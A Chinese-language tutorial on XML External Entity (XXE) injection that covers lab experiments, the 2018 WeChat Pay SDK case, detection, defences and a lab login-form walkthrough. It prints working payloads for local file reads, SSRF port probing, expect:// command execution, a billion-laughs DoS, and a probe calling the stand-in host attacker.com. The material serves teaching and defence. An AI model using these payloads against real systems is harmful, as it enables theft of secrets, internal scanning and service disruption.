一、XXE 漏洞的概念
-
XXE 全称:XML External Entity Injection(XML 外部实体注入)
-
本质:
在解析 XML 时,如果允许定义并解析外部实体,攻击者就可以构造恶意实体来:-
读取任意文件
-
发起 HTTP/FTP 请求(SSRF)
-
探测内网端口
-
执行系统命令(依赖扩展)
-
发起拒绝服务攻击(XML 炸弹)
-
核心点:解析器支持 DTD,且外部实体未被禁用。
二、XML 与实体复习
1. 内部实体
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY hacker "rastest">
]>
<data>&hacker;</data>
-
结果:
&hacker;被替换成rastest -
用途:像变量一样的替换机制。
2. 外部实体
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///C:/secret.txt">
]>
<data>&xxe;</data>
-
结果:解析时尝试读取
C:/secret.txt文件内容并替换&xxe; -
如果服务端直接输出 → 任意文件读取。
三、XXE 漏洞的危害
-
任意文件读取
-
读取系统配置文件、数据库配置、密码等敏感信息。
-
-
SSRF(服务器端请求伪造)
-
利用
http://协议访问内网服务或外部接口。 -
可探测端口是否开放。
-
-
命令执行
-
在支持
expect://协议的环境下执行系统命令。
-
-
拒绝服务(DoS)
-
“Billion Laughs Attack” 递归实体,消耗 CPU/内存。
-
四、实验代码分析
实验文件:xxe.php
-
功能:接收用户输入 → 解析成 XML → 输出解析结果。
1. 内部实体实验
输入 XML:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY hacker "rastest">
]>
<data>&hacker;</data>
-
结果:浏览器输出 rastest
-
证明:解析器支持实体替换。
2. 外部实体实验
构造 XML:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///E:/in.txt">
]>
<data>&xxe;</data>
-
如果
E:/in.txt内容是 “三连” -
结果:输出 三连”
-
证明:存在 XXE → 任意文件读取。
3. SSRF + 端口探测实验
构造 XML:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "http://127.0.0.1:3306/">
]>
<data>&xxe;</data>
-
如果 3306 端口 MySQL 服务开放 → 请求成功
-
如果改为 3307(未启用) → 请求失败,报错
failed to load -
结果:实现了端口扫描/探测。
4. 命令执行实验(需要 PHP expect 扩展)
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "expect://id">
]>
<data>&xxe;</data>
-
结果:可执行系统命令,如
ipconfig、id等。
5. DoS 攻击(XML 炸弹)
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;">
]>
<data>&lol2;</data>
-
实体递归膨胀,占用大量内存 → 造成拒绝服务。
五、实战案例:微信支付 XXE 漏洞
-
背景:2018 年微信支付 Java SDK 被爆存在 XXE 漏洞
-
原因:
-
商户接收微信异步通知时,使用 XML 解析器未禁用外部实体。
-
-
影响:
-
攻击者可通过回调 XML 注入外部实体 → 任意文件读取(如商户 ID、API key)
-
导致“零元购”等严重风险。
-
-
官方态度:
-
微信称问题在商户端代码 → 解析器配置不当。
-
六、XXE 漏洞检测方法
-
前提:系统确实使用 XML 进行数据传输。
-
构造测试:在 XML 中插入外部实体,例如:
<!DOCTYPE test [
<!ENTITY test SYSTEM "http://attacker.com/test">
]>
<data>&test;</data>
-
观察:
-
如果
attacker.com收到请求 → 存在 XXE。 -
可用 DNSlog 平台 或自建服务器收集请求。
-
七、防御措施
-
禁用外部实体解析(核心)
-
PHP:
libxml_disable_entity_loader(true); -
Java:
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
-
-
使用安全的 XML 解析库(如
defusedxml) -
最小化权限:解析器进程不要有高权限
-
严格过滤输入:白名单机制
八、登录口靶场渗透测试思路
靶场登录口通信使用 XML,攻击思路如下:
-
确认传输格式
-
抓包(BurpSuite) → 确认登录请求体是 XML 格式:
<user> <username>test</username> <password>123</password> </user>
-
-
插入外部实体
-
在 XML 开头添加 DTD,引用本地文件:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///C:/Windows/system.ini"> ]> <user> <username>&xxe;</username> <password>123</password> </user>
-
-
结果
-
如果响应包中包含
system.ini内容 → 任意文件读取漏洞成立。
-
-
可扩展攻击
-
替换实体内容为
http://→ SSRF -
用 DNSlog → 无回显检测
-
用 expect:// → 命令执行(环境允许时)
-
用递归实体 → DoS
-

4653

被折叠的 条评论
为什么被折叠?



